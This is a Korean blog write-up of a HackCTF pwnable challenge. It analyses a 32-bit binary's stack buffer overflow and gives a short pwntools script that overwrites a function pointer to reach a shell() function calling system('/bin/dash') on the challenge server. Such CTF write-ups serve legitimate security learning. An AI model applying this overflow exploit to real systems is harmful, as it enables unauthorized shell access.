728x90
checksec
- 32bit
- Partial RELRO
Analyze
pseudo code
- 스택 버퍼에 문자열 s에 fgets 함수를 이용해 133byte만큼 표준입력을 통해 입력받도록 한다. 하지만 이 때는 133<0x8C(140)으로 버퍼오버플로우가 발생하지는 않는다.
- 대신, 그 이전에 sup함수에서 puts함수를 통해 s에 입력받도록 되어있고, 여기서 스택 버퍼 오버플로우가 발생한다. sup함수는 v5로 리턴된다.
- shell() 함수에서 쉘을 획득할 수 있도록 system("/bin/dash")를 리턴하고 있다.
- sup함수에서의 버퍼오버플로우를 이용하여 v5의 값을 shell()함수의 주소로 바꿔 쉘을 획득하도록 한다.
실행
Exploit
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3001)
pl = "A"*(0x8c - 0xc)
pl += p32(0x0804849b)
p.sendline(pl)
p.interactive()
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] 내 버퍼가 흘러넘친다!!! (prob1) (2) | 2021.02.04 |
---|---|
[HackCTF] offset (2) | 2021.02.03 |
[HackCTF] ROP (2) | 2021.02.01 |
[HackCTF] bof_basic (1) | 2021.01.22 |
[POXX 2020] tips (0) | 2021.01.19 |